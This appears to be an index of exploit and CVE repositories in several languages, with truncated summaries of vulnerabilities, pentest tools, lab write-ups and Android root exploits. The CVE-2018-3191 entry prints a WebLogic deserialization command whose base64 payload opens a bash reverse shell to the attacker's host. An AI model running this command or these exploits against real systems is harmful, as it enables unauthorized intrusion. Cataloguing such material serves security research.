MAL-014

MAL-014: Lectura autenticada de archivos arbitrarios en VMware vCenter Server El componente de API “com.vmware.appliance.version1.system.update.set” es vulnerable a un ataque de inyección de flags que puede aprovecharse con el plugin “com.vmware.showlog” para leer archivos arbitrarios como el...

-CVE-2019-14287-SUDO-bypass-vulnerability

Este repositorio no tiene un README...

Hijacker

Hijacker Hijacker 是一个图形用户界面，用于渗透测试工具 Aircrack-ng, Airodump-ng、MDK3 和 Reaver。它提供了一个简单易用的界面，无需在控制台中输入命令和复制粘贴 MAC 地址即可使用这些工具。 此应用程序需要一个 ARM Android 设备，并配备支持 监听模式 的内部无线适配器。少数 Android 设备支持，但没有一款原生支持。这意味着你需要一个自定义固件。任何使用 BCM4339 芯片组（MSM8974，例如 Nexus 5、Xperia Z1/Z2、LG G2、LG G Flex、Samsung Galaxy Note...

celerystalk

celerystalk celerystalk helps you automate your network scanning/enumeration process with asynchronous jobs aka tasks while retaining full control of which tools you want to run. Interactive Demo: Bug Bounty Mode HackerOne Interactive Demo: Vulnerability Assessment / PenTest Mode Retired...

CVE-2026-38577

CVE-2026-38577 — Credenciales raíz codificadas en Tenda HG21 Resumen Campo| Valor ---|--- ID CVE| CVE-2026-38577 Fabricante| Tenda Producto| Tenda HG21 Módem de fibra XPON Versión afectada| V4.0.0-260302 Clave de producto| HG21-V1.0-TDE01 Versión de hardware| V1.0 Fecha de compilación del firmwar...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 reverse shell IP local: 172.16.38.1 Weblogic: 172.16.38.174:7001 1. Ejecutar localmente java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Luego...

YeaLink DM 3.6.0.20 - Remote Command Injection

Yealink Device Management DM 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication. id: CVE-2021-27561 info: name: YeaLink DM 3.6.0.20 - Remote Command Injection author: shifacyclewala,hackergautam severity: critical description: Yealink...

EUVD-2009-5121

ContentKeeper Web Appliance now maintained by Impero Software versions prior to 125.10 are vulnerable to remote command execution due to insecure handling of file uploads via the mimencode CGI utility. The vulnerability allows unauthenticated attackers to upload and execute arbitrary scripts as t...

CVE-2023-5521

CVE-2023-5521 Toma de control del sistema mediante suplantación de firmas en KernelSU Informe detallado https://huntr.dev/bounties/d438eff7-4e24-45e0-bc75-d3a5b3ab2ea1/...

cdt-vulnsamba-deploy

Equipo Delta CDT - Despliegue de Samba Vulnerable Resumen Este repositorio es un despliegue basado en Ansible de un servidor de archivos Samba vulnerable afectado por CVE-2017-7494, una vulnerabilidad crítica de ejecución remota de código. Se espera que sea desplegado para el equipo Delta durante...

CVE-2018-17873

CVE-2018-17873 Los routers indoor de WiFiRanger Core, GoAC y sus routers outdoor emparejados Sky Pro, EliteAC, EliteAC FM que ejecutan la versión de firmware 7.0.8rc3 y anteriores permiten acceso anónimo de lectura/escritura por FTP y han dejado la clave privada SSH en texto claro, lo que hace...

CVE-2019-5736-PoC

CVE-2019-5736-PoC PoC para CVE-2019-5736 Creado con ayuda de @singe, @cablethief, y @feexd Probado en Ubuntu 18.04, Debian 9 y Arch Linux. Versiones de Docker 18.09.1-ce y 18.03.1-ce. Este PoC actualmente no funciona con Ubuntu 16.04 y CentOS. Ve a ver el código del exploit de Dragon Sector las...

pentest-metasploitable2

Laboratorio de Pruebas de Penetración: Kali Linux vs Metasploitable2 Aviso importante: Este laboratorio se llevó a cabo completamente dentro de una red virtual aislada entre dos máquinas virtuales locales. No se atacaron sistemas externos, redes en vivo ni infraestructura real en ningún momento...

RootMyVivo-Exploit

RMV Exploit — CVE-2026-43499 для vivo и iQOO Форк boxiaolanya2008/CVE-2026-43499-Neo11Plus, переработанный под RootMyVivo. Убрано всё, что ломало телефон после рута, оставлено ядро эксплойта с проверенными таймингами. English · 中文 Цели Каталог| Устройство| Ядро| Откуда оффсеты ---|---|---|---...

ghostlock-app

GhostLock-App 中文: READMEZH.md Documentación Guía de portabilidad de perfiles de kernel - añadir soporte para un nuevo kernel. GhostLock empareja kernels por uname -r exacto y rechaza las compilaciones no compatibles, mostrando el estado en la parte superior. Los perfiles integrados se encuentran...

kernel-exploit-dirtycow-project-subm

kernel-exploit-dirtycow-project-subm Escalada de Privilegios Dirty COW CVE-2016-5195 Este proyecto demuestra un escenario de escalada de privilegios en un entorno de laboratorio controlado utilizando la vulnerabilidad Dirty COW en un kernel de Ubuntu 16.04 afectado por CVE-2016-5195. Entorno VM...

CVE-2026-25769

🚨 CVE-2026-25769 - Deserialización Insegura RCE en Wazuh Ejecución Remota de Código Crítica de Worker a Master en Modo Clúster de Wazuh La deserialización insegura en las comunicaciones del clúster de Wazuh permite que un nodo worker comprometido logre RCE como root en el nodo master. 📌 Resumen I...

CVE-2026-20245---Cisco-SD-WAN-Privilege-Escalation-Exploit

CVE-2026-20245 - Cisco SD-WAN Privilege Escalation Exploit ⚠️ ADVERTENCIA Este código es SOLO para fines educativos y pruebas de seguridad autorizadas. 📋 Descripción CVE-2026-20245 es una vulnerabilidad de escalada de privilegios en la CLI de Cisco Catalyst SD-WAN Controller vSmart, Cisco Catalyst...

CVE-2017-1000112-PoC

CVE-2017-1000112Desbordamiento de búfer descargar la imagen iso desde https://old-releases.ubuntu.com/releases/16.10/ubuntu-16.10-server-amd64.iso gcc exploit.c -o exploit obtener root...

GhostLock-NVIDIA-Shield-9.2.4

GhostLock para NVIDIA Shield TV Pro 9.2.4 Puerto arm64 validado del use-after-free de futex PI de GhostLock CVE-2026-43499 para la NVIDIA Shield TV Pro 2019 mdarcy con Shield Experience 9.2.4. El payload cambia las credenciales del daemon ADB en vivo, por lo que los nuevos shells ADB tienen UID 0...